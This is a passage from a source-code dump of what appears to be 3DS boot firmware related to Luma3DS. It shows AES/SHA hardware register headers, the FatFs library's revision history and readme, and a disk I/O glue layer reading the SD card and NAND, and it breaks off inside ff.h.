AES_ECB_DECRYPT_MODE, 0); 604 | aes_setkey(slot, decKey, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); 605 | } 606 | } 607 | -------------------------------------------------------------------------------- /stage2/arm9/source/crypto.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of Luma3DS 3 | * Copyright (C) 2016 Aurora Wright, TuxSH 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | * 18 | * Additional Terms 7.b of GPLv3 applies to this file: Requiring preservation of specified 19 | * reasonable legal notices or author attributions in that material or in the Appropriate Legal 20 | * Notices displayed by works containing it. 21 | */ 22 | 23 | /* 24 | * Crypto libs from http://github.com/b1l1s/ctr 25 | * kernel9Loader code originally adapted from https://github.com/Reisyukaku/ReiNand/blob/228c378255ba693133dec6f3368e14d386f2cde7/source/crypto.c#L233 26 | */ 27 | 28 | #pragma once 29 | 30 | #include "types.h" 31 | 32 | /**************************AES****************************/ 33 | #define REG_AESCNT ((vu32 *)0x10009000) 34 | #define REG_AESMACBLKCNT ((vu16 *)0x10009004) 35 | #define REG_AESBLKCNT ((vu16 *)0x10009006) 36 | #define REG_AESWRFIFO ((vu32 *)0x10009008) 37 | #define REG_AESRDFIFO ((vu32 *)0x1000900C) 38 | #define REG_AESKEYSEL ((vu8 *)0x10009010) 39 | #define REG_AESKEYCNT ((vu8 *)0x10009011) 40 | #define REG_AESCTR ((vu32 *)0x10009020) 41 | 42 | #define REG_AESKEYFIFO ((vu32 *)0x10009100) 43 | #define REG_AESKEYXFIFO ((vu32 *)0x10009104) 44 | #define REG_AESKEYYFIFO ((vu32 *)0x10009108) 45 | 46 | #define REGs_AESTWLKEYS (*((vu32 (*)[4][3][4])0x10009040)) 47 | 48 | #define AES_CCM_DECRYPT_MODE (0u << 27) 49 | #define AES_CCM_ENCRYPT_MODE (1u << 27) 50 | #define AES_CTR_MODE (2u << 27) 51 | #define AES_CTR_MODE (2u << 27) 52 | #define AES_CBC_DECRYPT_MODE (4u << 27) 53 | #define AES_CBC_ENCRYPT_MODE (5u << 27) 54 | #define AES_ECB_DECRYPT_MODE (6u << 27) 55 | #define AES_ECB_ENCRYPT_MODE (7u << 27) 56 | #define AES_ALL_MODES (7u << 27) 57 | 58 | #define AES_CNT_START BIT(31) 59 | #define AES_CNT_IRQ_ENABLE BIT(30) 60 | #define AES_CNT_INPUT_ORDER BIT(25) 61 | #define AES_CNT_OUTPUT_ORDER BIT(24) 62 | #define AES_CNT_INPUT_ENDIAN BIT(23) 63 | #define AES_CNT_OUTPUT_ENDIAN BIT(22) 64 | #define AES_CNT_RDFIFO_SIZE(n) (((n)/16 - 1) << 14) 65 | #define AES_CNT_WRFIFO_SIZE(n) ((4 - (n)/16) << 12) 66 | #define AES_CNT_FLUSH_READ BIT(11) 67 | #define AES_CNT_FLUSH_WRITE BIT(10) 68 | 69 | #define AES_INPUT_BE (AES_CNT_INPUT_ENDIAN) 70 | #define AES_INPUT_LE 0 71 | #define AES_INPUT_NORMAL (AES_CNT_INPUT_ORDER) 72 | #define AES_INPUT_REVERSED 0 73 | #define AES_INPUT_TWLNORMAL 0 74 | #define AES_INPUT_TWLREVERSED (AES_CNT_INPUT_ORDER) 75 | 76 | #define AES_BLOCK_SIZE 0x10 77 | 78 | #define AES_KEYCNT_WRITE (1 << 0x7) 79 | #define AES_KEYNORMAL 0 80 | #define AES_KEYX 1 81 | #define AES_KEYY 2 82 | 83 | /**************************SHA****************************/ 84 | #define REG_SHA_CNT ((vu32 *)0x1000A000) 85 | #define REG_SHA_BLKCNT ((vu32 *)0x1000A004) 86 | #define REG_SHA_HASH ((vu32 *)0x1000A040) 87 | #define REG_SHA_INFIFO ((vu32 *)0x1000A080) 88 | 89 | #define SHA_CNT_STATE (BIT(1) | BIT(0)) 90 | #define SHA_CNT_IN_DMA_ENABLE BIT(2) 91 | #define SHA_CNT_OUTPUT_ENDIAN BIT(3) 92 | #define SHA_CNT_MODE (3u << 4) 93 | 94 | #define SHA_HASH_READY 0x00000000 95 | #define SHA_NORMAL_ROUND 0x00000001 96 | #define SHA_FINAL_ROUND 0x00000002 97 | 98 | #define SHA_OUTPUT_BE SHA_CNT_OUTPUT_ENDIAN 99 | #define SHA_OUTPUT_LE 0 100 | 101 | #define SHA_256_MODE 0 102 | #define SHA_224_MODE 0x00000010 103 | #define SHA_1_MODE 0x00000020 104 | 105 | #define SHA_256_HASH_SIZE (256 / 8) 106 | #define SHA_224_HASH_SIZE (224 / 8) 107 | #define SHA_1_HASH_SIZE (160 / 8) 108 | 109 | #define CFG_SYSPROT9 (*(vu8 *)0x10000000) 110 | #define CFG_BOOTENV (*(vu32 *)0x10010000) 111 | #define CFG_UNITINFO (*(vu8 *)0x10010010) 112 | #define CFG_TWLUNITINFO (*(vu8 *)0x10010014) 113 | #define OTP_DEVCONSOLEID (*(vu64 *)0x10012000) 114 | #define OTP_TWLCONSOLEID (*(vu64 *)0x10012100) 115 | #define CFG11_SOCINFO (*(vu32 *)0x10140FFC) 116 | 117 | #define ISN3DS (CFG11_SOCINFO & 2) 118 | #define ISDEVUNIT (CFG_UNITINFO != 0) 119 | 120 | void sha(void *res, const void *src, u32 size, u32 mode); 121 | void sha_dma(void *res, const void *src, u32 size, u32 mode); 122 | 123 | int ctrNandInit(void); 124 | int ctrNandRead(u32 sector, u32 sectorCount, u8 *outbuf); 125 | void setupKeyslots(void); 126 | -------------------------------------------------------------------------------- /stage2/arm9/source/fatfs/00history.txt: -------------------------------------------------------------------------------- 1 | ---------------------------------------------------------------------------- 2 | Revision history of FatFs module 3 | ---------------------------------------------------------------------------- 4 | 5 | R0.00 (February 26, 2006) 6 | 7 | Prototype. 8 | 9 | 10 | 11 | R0.01 (April 29, 2006) 12 | 13 | The first release. 14 | 15 | 16 | 17 | R0.02 (June 01, 2006) 18 | 19 | Added FAT12 support. 20 | Removed unbuffered mode. 21 | Fixed a problem on small (<32M) partition. 22 | 23 | 24 | 25 | R0.02a (June 10, 2006) 26 | 27 | Added a configuration option (_FS_MINIMUM). 28 | 29 | 30 | 31 | R0.03 (September 22, 2006) 32 | 33 | Added f_rename(). 34 | Changed option _FS_MINIMUM to _FS_MINIMIZE. 35 | 36 | 37 | 38 | R0.03a (December 11, 2006) 39 | 40 | Improved cluster scan algorithm to write files fast. 41 | Fixed f_mkdir() creates incorrect directory on FAT32. 42 | 43 | 44 | 45 | R0.04 (February 04, 2007) 46 | 47 | Added f_mkfs(). 48 | Supported multiple drive system. 49 | Changed some interfaces for multiple drive system. 50 | Changed f_mountdrv() to f_mount(). 51 | 52 | 53 | 54 | R0.04a (April 01, 2007) 55 | 56 | Supported multiple partitions on a physical drive. 57 | Added a capability of extending file size to f_lseek(). 58 | Added minimization level 3. 59 | Fixed an endian sensitive code in f_mkfs(). 60 | 61 | 62 | 63 | R0.04b (May 05, 2007) 64 | 65 | Added a configuration option _USE_NTFLAG. 66 | Added FSINFO support. 67 | Fixed DBCS name can result FR_INVALID_NAME. 68 | Fixed short seek (<= csize) collapses the file object. 69 | 70 | 71 | 72 | R0.05 (August 25, 2007) 73 | 74 | Changed arguments of f_read(), f_write() and f_mkfs(). 75 | Fixed f_mkfs() on FAT32 creates incorrect FSINFO. 76 | Fixed f_mkdir() on FAT32 creates incorrect directory. 77 | 78 | 79 | 80 | R0.05a (February 03, 2008) 81 | 82 | Added f_truncate() and f_utime(). 83 | Fixed off by one error at FAT sub-type determination. 84 | Fixed btr in f_read() can be mistruncated. 85 | Fixed cached sector is not flushed when create and close without write. 86 | 87 | 88 | 89 | R0.06 (April 01, 2008) 90 | 91 | Added fputc(), fputs(), fprintf() and fgets(). 92 | Improved performance of f_lseek() on moving to the same or following cluster. 93 | 94 | 95 | 96 | R0.07 (April 01, 2009) 97 | 98 | Merged Tiny-FatFs as a configuration option. (_FS_TINY) 99 | Added long file name feature. (_USE_LFN) 100 | Added multiple code page feature. (_CODE_PAGE) 101 | Added re-entrancy for multitask operation. (_FS_REENTRANT) 102 | Added auto cluster size selection to f_mkfs(). 103 | Added rewind option to f_readdir(). 104 | Changed result code of critical errors. 105 | Renamed string functions to avoid name collision. 106 | 107 | 108 | 109 | R0.07a (April 14, 2009) 110 | 111 | Septemberarated out OS dependent code on reentrant cfg. 112 | Added multiple sector size feature. 113 | 114 | 115 | 116 | R0.07c (June 21, 2009) 117 | 118 | Fixed f_unlink() can return FR_OK on error. 119 | Fixed wrong cache control in f_lseek(). 120 | Added relative path feature. 121 | Added f_chdir() and f_chdrive(). 122 | Added proper case conversion to extended character. 123 | 124 | 125 | 126 | R0.07e (November 03, 2009) 127 | 128 | Septemberarated out configuration options from ff.h to ffconf.h. 129 | Fixed f_unlink() fails to remove a sub-directory on _FS_RPATH. 130 | Fixed name matching error on the 13 character boundary. 131 | Added a configuration option, _LFN_UNICODE. 132 | Changed f_readdir() to return the SFN with always upper case on non-LFN cfg. 133 | 134 | 135 | 136 | R0.08 (May 15, 2010) 137 | 138 | Added a memory configuration option. (_USE_LFN = 3) 139 | Added file lock feature. (_FS_SHARE) 140 | Added fast seek feature. (_USE_FASTSEEK) 141 | Changed some types on the API, XCHAR->TCHAR. 142 | Changed .fname in the FILINFO structure on Unicode cfg. 143 | String functions support UTF-8 encoding files on Unicode cfg. 144 | 145 | 146 | 147 | R0.08a (August 16, 2010) 148 | 149 | Added f_getcwd(). (_FS_RPATH = 2) 150 | Added sector erase feature. (_USE_ERASE) 151 | Moved file lock semaphore table from fs object to the bss. 152 | Fixed f_mkfs() creates wrong FAT32 volume. 153 | 154 | 155 | 156 | R0.08b (January 15, 2011) 157 | 158 | Fast seek feature is also applied to f_read() and f_write(). 159 | f_lseek() reports required table size on creating CLMP. 160 | Extended format syntax of f_printf(). 161 | Ignores duplicated directory separators in given path name. 162 | 163 | 164 | 165 | R0.09 (September 06, 2011) 166 | 167 | f_mkfs() supports multiple partition to complete the multiple partition feature. 168 | Added f_fdisk(). 169 | 170 | 171 | 172 | R0.09a (August 27, 2012) 173 | 174 | Changed f_open() and f_opendir() reject null object pointer to avoid crash. 175 | Changed option name _FS_SHARE to _FS_LOCK. 176 | Fixed assertion failure due to OS/2 EA on FAT12/16 volume. 177 | 178 | 179 | 180 | R0.09b (January 24, 2013) 181 | 182 | Added f_setlabel() and f_getlabel(). 183 | 184 | 185 | 186 | R0.10 (October 02, 2013) 187 | 188 | Added selection of character encoding on the file. (_STRF_ENCODE) 189 | Added f_closedir(). 190 | Added forced full FAT scan for f_getfree(). (_FS_NOFSINFO) 191 | Added forced mount feature with changes of f_mount(). 192 | Improved behavior of volume auto detection. 193 | Improved write throughput of f_puts() and f_printf(). 194 | Changed argument of f_chdrive(), f_mkfs(), disk_read() and disk_write(). 195 | Fixed f_write() can be truncated when the file size is close to 4GB. 196 | Fixed f_open(), f_mkdir() and f_setlabel() can return incorrect value on error. 197 | 198 | 199 | 200 | R0.10a (January 15, 2014) 201 | 202 | Added arbitrary strings as drive number in the path name. (_STR_VOLUME_ID) 203 | Added a configuration option of minimum sector size. (_MIN_SS) 204 | 2nd argument of f_rename() can have a drive number and it will be ignored. 205 | Fixed f_mount() with forced mount fails when drive number is >= 1. (appeared at R0.10) 206 | Fixed f_close() invalidates the file object without volume lock. 207 | Fixed f_closedir() returns but the volume lock is left acquired. (appeared at R0.10) 208 | Fixed creation of an entry with LFN fails on too many SFN collisions. (appeared at R0.07) 209 | 210 | 211 | 212 | R0.10b (May 19, 2014) 213 | 214 | Fixed a hard error in the disk I/O layer can collapse the directory entry. 215 | Fixed LFN entry is not deleted when delete/rename an object with lossy converted SFN. (appeared at R0.07) 216 | 217 | 218 | 219 | R0.10c (November 09, 2014) 220 | 221 | Added a configuration option for the platforms without RTC. (_FS_NORTC) 222 | Changed option name _USE_ERASE to _USE_TRIM. 223 | Fixed volume label created by Mac OS X cannot be retrieved with f_getlabel(). (appeared at R0.09b) 224 | Fixed a potential problem of FAT access that can appear on disk error. 225 | Fixed null pointer dereference on attempting to delete the root direcotry. (appeared at R0.08) 226 | 227 | 228 | 229 | R0.11 (February 09, 2015) 230 | 231 | Added f_findfirst(), f_findnext() and f_findclose(). (_USE_FIND) 232 | Fixed f_unlink() does not remove cluster chain of the file. (appeared at R0.10c) 233 | Fixed _FS_NORTC option does not work properly. (appeared at R0.10c) 234 | 235 | 236 | 237 | R0.11a (September 05, 2015) 238 | 239 | Fixed wrong media change can lead a deadlock at thread-safe configuration. 240 | Added code page 771, 860, 861, 863, 864, 865 and 869. (_CODE_PAGE) 241 | Removed some code pages actually not exist on the standard systems. (_CODE_PAGE) 242 | Fixed errors in the case conversion teble of code page 437 and 850 (ff.c). 243 | Fixed errors in the case conversion teble of Unicode (cc*.c). 244 | 245 | 246 | 247 | R0.12 (April 12, 2016) 248 | 249 | Added support for exFAT file system. (_FS_EXFAT) 250 | Added f_expand(). (_USE_EXPAND) 251 | Changed some members in FINFO structure and behavior of f_readdir(). 252 | Added an option _USE_CHMOD. 253 | Removed an option _WORD_ACCESS. 254 | Fixed errors in the case conversion table of Unicode (cc*.c). 255 | 256 | 257 | 258 | R0.12a (July 10, 2016) 259 | 260 | Added support for creating exFAT volume with some changes of f_mkfs(). 261 | Added a file open method FA_OPEN_APPEND. An f_lseek() following f_open() is no longer needed. 262 | f_forward() is available regardless of _FS_TINY. 263 | Fixed f_mkfs() creates wrong volume. (appeared at R0.12) 264 | Fixed wrong memory read in create_name(). (appeared at R0.12) 265 | Fixed compilation fails at some configurations, _USE_FASTSEEK and _USE_FORWARD. 266 | 267 | 268 | 269 | R0.12b (September 04, 2016) 270 | 271 | Made f_rename() be able to rename objects with the same name but case. 272 | Fixed an error in the case conversion teble of code page 866. (ff.c) 273 | Fixed writing data is truncated at the file offset 4GiB on the exFAT volume. (appeared at R0.12) 274 | Fixed creating a file in the root directory of exFAT volume can fail. (appeared at R0.12) 275 | Fixed f_mkfs() creating exFAT volume with too small cluster size can collapse unallocated memory. (appeared at R0.12) 276 | Fixed wrong object name can be returned when read directory at Unicode cfg. (appeared at R0.12) 277 | Fixed large file allocation/removing on the exFAT volume collapses allocation bitmap. (appeared at R0.12) 278 | Fixed some internal errors in f_expand() and f_lseek(). (appeared at R0.12) 279 | 280 | 281 | 282 | R0.12c (March 04, 2017) 283 | 284 | Improved write throughput at the fragmented file on the exFAT volume. 285 | Made memory usage for exFAT be able to be reduced as decreasing _MAX_LFN. 286 | Fixed successive f_getfree() can return wrong count on the FAT12/16 volume. (appeared at R0.12) 287 | Fixed configuration option _VOLUMES cannot be set 10. (appeared at R0.10c) 288 | 289 | 290 | 291 | R0.13 (May 21, 2017) 292 | 293 | Changed heading character of configuration keywords "_" to "FF_". 294 | Removed ASCII-only configuration, FF_CODE_PAGE = 1. Use FF_CODE_PAGE = 437 instead. 295 | Added f_setcp(), run-time code page configuration. (FF_CODE_PAGE = 0) 296 | Improved cluster allocation time on stretch a deep buried cluster chain. 297 | Improved processing time of f_mkdir() with large cluster size by using FF_USE_LFN = 3. 298 | Improved NoFatChain flag of the fragmented file to be set after it is truncated and got contiguous. 299 | Fixed archive attribute is left not set when a file on the exFAT volume is renamed. (appeared at R0.12) 300 | Fixed exFAT FAT entry can be collapsed when write or lseek operation to the existing file is done. (appeared at R0.12c) 301 | Fixed creating a file can fail when a new cluster allocation to the exFAT directory occures. (appeared at R0.12c) 302 | 303 | 304 | 305 | R0.13a (October 14, 2017) 306 | 307 | Added support for UTF-8 encoding on the API. (FF_LFN_UNICODE = 2) 308 | Added options for file name output buffer. (FF_LFN_BUF, FF_SFN_BUF). 309 | Added dynamic memory allocation option for working buffer of f_mkfs() and f_fdisk(). 310 | Fixed f_fdisk() and f_mkfs() create the partition table with wrong CHS parameters. (appeared at R0.09) 311 | Fixed f_unlink() can cause lost clusters at fragmented file on the exFAT volume. (appeared at R0.12c) 312 | Fixed f_setlabel() rejects some valid characters for exFAT volume. (appeared at R0.12) 313 | 314 | 315 | 316 | R0.13b (April 07, 2018) 317 | 318 | Added support for UTF-32 encoding on the API. (FF_LFN_UNICODE = 3) 319 | Added support for Unix style volume ID. (FF_STR_VOLUME_ID = 2) 320 | Fixed accesing any object on the exFAT root directory beyond the cluster boundary can fail. (appeared at R0.12c) 321 | Fixed f_setlabel() does not reject some invalid characters. (appeared at R0.09b) 322 | 323 | 324 | 325 | R0.13c (October 14, 2018) 326 | Supported stdint.h for C99 and later. (integer.h was included in ff.h) 327 | Fixed reading a directory gets infinite loop when the last directory entry is not empty. (appeared at R0.12) 328 | Fixed creating a sub-directory in the fragmented sub-directory on the exFAT volume collapses FAT chain of the parent directory. (appeared at R0.12) 329 | Fixed f_getcwd() cause output buffer overrun when the buffer has a valid drive number. (appeared at R0.13b) 330 | 331 | 332 | 333 | R0.14 (October 14, 2019) 334 | Added support for 64-bit LBA and GUID partition table (FF_LBA64 = 1) 335 | Changed some API functions, f_mkfs() and f_fdisk(). 336 | Fixed f_open() function cannot find the file with file name in length of FF_MAX_LFN characters. 337 | Fixed f_readdir() function cannot retrieve long file names in length of FF_MAX_LFN - 1 characters. 338 | Fixed f_readdir() function returns file names with wrong case conversion. (appeared at R0.12) 339 | Fixed f_mkfs() function can fail to create exFAT volume in the second partition. (appeared at R0.12) 340 | 341 | 342 | R0.14a (December 5, 2020) 343 | Limited number of recursive calls in f_findnext(). 344 | Fixed old floppy disks formatted with MS-DOS 2.x and 3.x cannot be mounted. 345 | Fixed some compiler warnings. 346 | 347 | 348 | 349 | R0.14b (April 17, 2021) 350 | Made FatFs uses standard library for copy, compare and search instead of built-in string functions. 351 | Added support for long long integer and floating point to f_printf(). (FF_STRF_LLI and FF_STRF_FP) 352 | Made path name parser ignore the terminating separator to allow "dir/". 353 | Improved the compatibility in Unix style path name feature. 354 | Fixed the file gets dead-locked when f_open() failed with some conditions. (appeared at R0.12a) 355 | Fixed f_mkfs() can create wrong exFAT volume due to a timing dependent error. (appeared at R0.12) 356 | Fixed code page 855 cannot be set by f_setcp(). 357 | Fixed some compiler warnings. 358 | 359 | 360 | -------------------------------------------------------------------------------- /stage2/arm9/source/fatfs/00readme.txt: -------------------------------------------------------------------------------- 1 | FatFs Module Source Files R0.14b 2 | 3 | 4 | FILES 5 | 6 | 00readme.txt This file. 7 | 00history.txt Revision history. 8 | ff.c FatFs module. 9 | ffconf.h Configuration file of FatFs module. 10 | ff.h Common include file for FatFs and application module. 11 | diskio.h Common include file for FatFs and disk I/O module. 12 | diskio.c An example of glue function to attach existing disk I/O module to FatFs. 13 | ffunicode.c Optional Unicode utility functions. 14 | ffsystem.c An example of optional O/S related functions. 15 | 16 | 17 | Low level disk I/O module is not included in this archive because the FatFs 18 | module is only a generic file system layer and it does not depend on any specific 19 | storage device. You need to provide a low level disk I/O module written to 20 | control the storage device that attached to the target system. 21 | 22 | -------------------------------------------------------------------------------- /stage2/arm9/source/fatfs/diskio.c: -------------------------------------------------------------------------------- 1 | /*-----------------------------------------------------------------------*/ 2 | /* Low level disk I/O module SKELETON for FatFs (C)ChaN, 2019 */ 3 | /*-----------------------------------------------------------------------*/ 4 | /* If a working storage control module is available, it should be */ 5 | /* attached to the FatFs via a glue function rather than modifying it. */ 6 | /* This is an example of glue functions to attach various exsisting */ 7 | /* storage control modules to the FatFs module with a defined API. */ 8 | /*-----------------------------------------------------------------------*/ 9 | 10 | #include "ff.h" /* Obtains integer types */ 11 | #include "diskio.h" /* Declarations of disk functions */ 12 | 13 | #include "../crypto.h" 14 | #include "sdmmc/unprotboot9_sdmmc.h" 15 | #include "../ndma.h" 16 | #include "../cache.h" 17 | 18 | /* Definitions of physical drive number for each media */ 19 | #define SDCARD 0 20 | #define CTRNAND 1 21 | 22 | 23 | /*-----------------------------------------------------------------------*/ 24 | /* Get Drive Status */ 25 | /*-----------------------------------------------------------------------*/ 26 | 27 | DSTATUS disk_status ( 28 | BYTE pdrv /* Physical drive nmuber to identify the drive */ 29 | ) 30 | { 31 | (void)pdrv; 32 | return RES_OK; 33 | } 34 | 35 | /*-----------------------------------------------------------------------*/ 36 | /* Inidialize a Drive */ 37 | /*-----------------------------------------------------------------------*/ 38 | 39 | DSTATUS disk_initialize ( 40 | BYTE pdrv /* Physical drive nmuber to identify the drive */ 41 | ) 42 | { 43 | static bool sdInitialized = false, nandInitialized = false; 44 | int res = 0; 45 | 46 | switch (pdrv) 47 | { 48 | case SDCARD: 49 | if (!sdInitialized) 50 | res = unprotboot9_sdmmc_initdevice(unprotboot9_sdmmc_deviceid_sd); 51 | sdInitialized = res == 0; 52 | break; 53 | case CTRNAND: 54 | if (!nandInitialized) 55 | res = ctrNandInit(); 56 | nandInitialized = res == 0; 57 | break; 58 | default: 59 | res = -1; 60 | break; 61 | } 62 | 63 | return res == 0 ? 0 : STA_NOINIT; 64 | } 65 | 66 | /*-----------------------------------------------------------------------*/ 67 | /* Read Sector(s) */ 68 | /*-----------------------------------------------------------------------*/ 69 | 70 | static s32 bromSdmmcReadWithDmaPrepareCb(u32 fifoAddr) 71 | { 72 | volatile NdmaChannelRegisters *const chan0 = ®_NDMA->channel[0]; 73 | chan0->src_addr = fifoAddr; 74 | chan0->block_words = 512 / 4; 75 | chan0->cnt = NDMA_ENABLE | NDMA_NORMAL_MODE | NDMA_STARTUP_SDIO1 | NDMA_BURST_WORDS(512/4) | 76 | NDMA_DST_UPDATE_MODE(NDMA_UPDATE_INC) | NDMA_SRC_UPDATE_MODE(NDMA_UPDATE_FIXED); 77 | return 0; 78 | } 79 | 80 | static void bromSdmmcReadWithDmaAbortCb(void) 81 | { 82 | volatile NdmaChannelRegisters *const chan0 = ®_NDMA->channel[0]; 83 | chan0->cnt &= ~NDMA_ENABLE; 84 | } 85 | 86 | DRESULT disk_read ( 87 | BYTE pdrv, /* Physical drive nmuber to identify the drive */ 88 | BYTE *buff, /* Data buffer to store read data */ 89 | LBA_t sector, /* Start sector in LBA */ 90 | UINT count /* Number of sectors to read */ 91 | ) 92 | { 93 | int res = 0; 94 | switch (pdrv) 95 | { 96 | case SDCARD: 97 | res = unprotboot9_sdmmc_selectdevice(unprotboot9_sdmmc_deviceid_sd); 98 | if (res == 0) 99 | { 100 | volatile NdmaChannelRegisters *const chan0 = ®_NDMA->channel[0]; 101 | flushDCacheRange(buff, 512 * count); 102 | chan0->cnt &= ~NDMA_ENABLE; 103 | chan0->total_words = 512 * count / 4; 104 | chan0->dst_addr = (u32)buff; 105 | res = unprotboot9_sdmmc_readrawsectors_setup((u32)sector, count, NULL, bromSdmmcReadWithDmaPrepareCb, bromSdmmcReadWithDmaAbortCb); 106 | while (chan0->cnt & NDMA_ENABLE); 107 | flushDCacheRange(buff, 512 * count); 108 | } 109 | break; 110 | case CTRNAND: 111 | res = ctrNandRead((u32)sector, count, buff); 112 | break; 113 | default: 114 | res = -1; 115 | break; 116 | } 117 | return res == 0 ? RES_OK : RES_PARERR; 118 | } 119 | 120 | 121 | 122 | /*-----------------------------------------------------------------------*/ 123 | /* Write Sector(s) */ 124 | /*-----------------------------------------------------------------------*/ 125 | 126 | #if FF_FS_READONLY == 0 127 | 128 | DRESULT disk_write ( 129 | BYTE pdrv, /* Physical drive nmuber to identify the drive */ 130 | const BYTE *buff, /* Data to be written */ 131 | LBA_t sector, /* Start sector in LBA */ 132 | UINT count /* Number of sectors to write */ 133 | ) 134 | { 135 | (void)pdrv; 136 | (void)buff; 137 | (void)sector; 138 | (void)count; 139 | return RES_OK; 140 | } 141 | 142 | #endif 143 | 144 | 145 | /*-----------------------------------------------------------------------*/ 146 | /* Miscellaneous Functions */ 147 | /*-----------------------------------------------------------------------*/ 148 | 149 | DRESULT disk_ioctl ( 150 | BYTE pdrv, /* Physical drive nmuber (0..) */ 151 | BYTE cmd, /* Control code */ 152 | void *buff /* Buffer to send/receive control data */ 153 | ) 154 | { 155 | (void)pdrv; 156 | (void)cmd; 157 | (void)buff; 158 | return cmd == CTRL_SYNC ? RES_OK : RES_PARERR; 159 | } 160 | -------------------------------------------------------------------------------- /stage2/arm9/source/fatfs/diskio.h: -------------------------------------------------------------------------------- 1 | /*-----------------------------------------------------------------------/ 2 | / Low level disk interface modlue include file (C)ChaN, 2019 / 3 | /-----------------------------------------------------------------------*/ 4 | 5 | #ifndef _DISKIO_DEFINED 6 | #define _DISKIO_DEFINED 7 | 8 | #ifdef __cplusplus 9 | extern "C" { 10 | #endif 11 | 12 | /* Status of Disk Functions */ 13 | typedef BYTE DSTATUS; 14 | 15 | /* Results of Disk Functions */ 16 | typedef enum { 17 | RES_OK = 0, /* 0: Successful */ 18 | RES_ERROR, /* 1: R/W Error */ 19 | RES_WRPRT, /* 2: Write Protected */ 20 | RES_NOTRDY, /* 3: Not Ready */ 21 | RES_PARERR /* 4: Invalid Parameter */ 22 | } DRESULT; 23 | 24 | 25 | /*---------------------------------------*/ 26 | /* Prototypes for disk control functions */ 27 | 28 | 29 | DSTATUS disk_initialize (BYTE pdrv); 30 | DSTATUS disk_status (BYTE pdrv); 31 | DRESULT disk_read (BYTE pdrv, BYTE* buff, LBA_t sector, UINT count); 32 | DRESULT disk_write (BYTE pdrv, const BYTE* buff, LBA_t sector, UINT count); 33 | DRESULT disk_ioctl (BYTE pdrv, BYTE cmd, void* buff); 34 | 35 | 36 | /* Disk Status Bits (DSTATUS) */ 37 | 38 | #define STA_NOINIT 0x01 /* Drive not initialized */ 39 | #define STA_NODISK 0x02 /* No medium in the drive */ 40 | #define STA_PROTECT 0x04 /* Write protected */ 41 | 42 | 43 | /* Command code for disk_ioctrl fucntion */ 44 | 45 | /* Generic command (Used by FatFs) */ 46 | #define CTRL_SYNC 0 /* Complete pending write process (needed at FF_FS_READONLY == 0) */ 47 | #define GET_SECTOR_COUNT 1 /* Get media size (needed at FF_USE_MKFS == 1) */ 48 | #define GET_SECTOR_SIZE 2 /* Get sector size (needed at FF_MAX_SS != FF_MIN_SS) */ 49 | #define GET_BLOCK_SIZE 3 /* Get erase block size (needed at FF_USE_MKFS == 1) */ 50 | #define CTRL_TRIM 4 /* Inform device that the data on the block of sectors is no longer used (needed at FF_USE_TRIM == 1) */ 51 | 52 | /* Generic command (Not used by FatFs) */ 53 | #define CTRL_POWER 5 /* Get/Set power status */ 54 | #define CTRL_LOCK 6 /* Lock/Unlock media removal */ 55 | #define CTRL_EJECT 7 /* Eject media */ 56 | #define CTRL_FORMAT 8 /* Create physical format on the media */ 57 | 58 | /* MMC/SDC specific ioctl command */ 59 | #define MMC_GET_TYPE 10 /* Get card type */ 60 | #define MMC_GET_CSD 11 /* Get CSD */ 61 | #define MMC_GET_CID 12 /* Get CID */ 62 | #define MMC_GET_OCR 13 /* Get OCR */ 63 | #define MMC_GET_SDSTAT 14 /* Get SD status */ 64 | #define ISDIO_READ 55 /* Read data form SD iSDIO register */ 65 | #define ISDIO_WRITE 56 /* Write data to SD iSDIO register */ 66 | #define ISDIO_MRITE 57 /* Masked write data to SD iSDIO register */ 67 | 68 | /* ATA/CF specific ioctl command */ 69 | #define ATA_GET_REV 20 /* Get F/W revision */ 70 | #define ATA_GET_MODEL 21 /* Get model name */ 71 | #define ATA_GET_SN 22 /* Get serial number */ 72 | 73 | #ifdef __cplusplus 74 | } 75 | #endif 76 | 77 | #endif 78 | -------------------------------------------------------------------------------- /stage2/arm9/source/fatfs/ff.h: -------------------------------------------------------------------------------- 1 | /*----------------------------------------------------------------------------/ 2 | / FatFs - Generic FAT Filesystem module R0.14b / 3 | /-----------------------------------------------------------------------------/ 4 | / 5 | / Copyright (C) 2021, ChaN, all right reserved. 6 | / 7 | / FatFs module is an open source software. Redistribution and use of FatFs in 8 | / source and binary forms, with or without modification, are permitted provided 9 | / that the following condition is met: 10 | 11 | / 1. Redistributions of source code must retain the above copyright notice, 12 | / this condition and the following disclaimer. 13 | / 14 | / This software is provided by the copyright holder and contributors "AS IS" 15 | / and any warranties related to this software are DISCLAIMED. 16 | / The copyright owner or contributors be NOT LIABLE for any damages caused 17 | / by use of this software. 18 | / 19 | /----------------------------------------------------------------------------*/ 20 | 21 | 22 | #ifndef FF_DEFINED 23 | #define FF_DEFINED 86631 /* Revision ID */ 24 | 25 | #ifdef __cplusplus 26 | extern "C" { 27 | #endif 28 | 29 | #include "ffconf.h" /* FatFs configuration options */ 30 | 31 | #if FF_DEFINED != FFCONF_DEF 32 | #error Wrong configuration file (ffconf.h). 33 | #endif 34 | 35 | 36 | /* Integer types used for FatFs API */ 37 | 38 | #if defined(_WIN32) /* Windows VC++ (for development only) */ 39 | #define FF_INTDEF 2 40 | #include 41 | typedef unsigned __int64 QWORD; 42 | #include 43 | #define isnan(v) _isnan(v) 44 | #define isinf(v) (!_finite(v)) 45 | 46 | #elif (defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L) || defined(__cplusplus) /* C99 or later */ 47 | #define FF_INTDEF 2 48 | #include 49 | typedef unsigned int UINT; /* int must be 16-bit or 32-bit */ 50 | typedef unsigned char BYTE; /* char must be 8-bit */ 51 | typedef uint16_t WORD; /* 16-bit unsigned integer */ 52 | typedef uint32_t DWORD; /* 32-bit unsigned integer */ 53 | typedef uint64_t QWORD; /* 64-bit unsigned integer */ 54 | typedef WORD WCHAR; /* UTF-16 character type */ 55 | 56 | #else /* Earlier than C99 */ 57 | #define FF_INTDEF 1 58 | typedef unsigned int UINT; /* int must be 16-bit or 32-bit */ 59 | 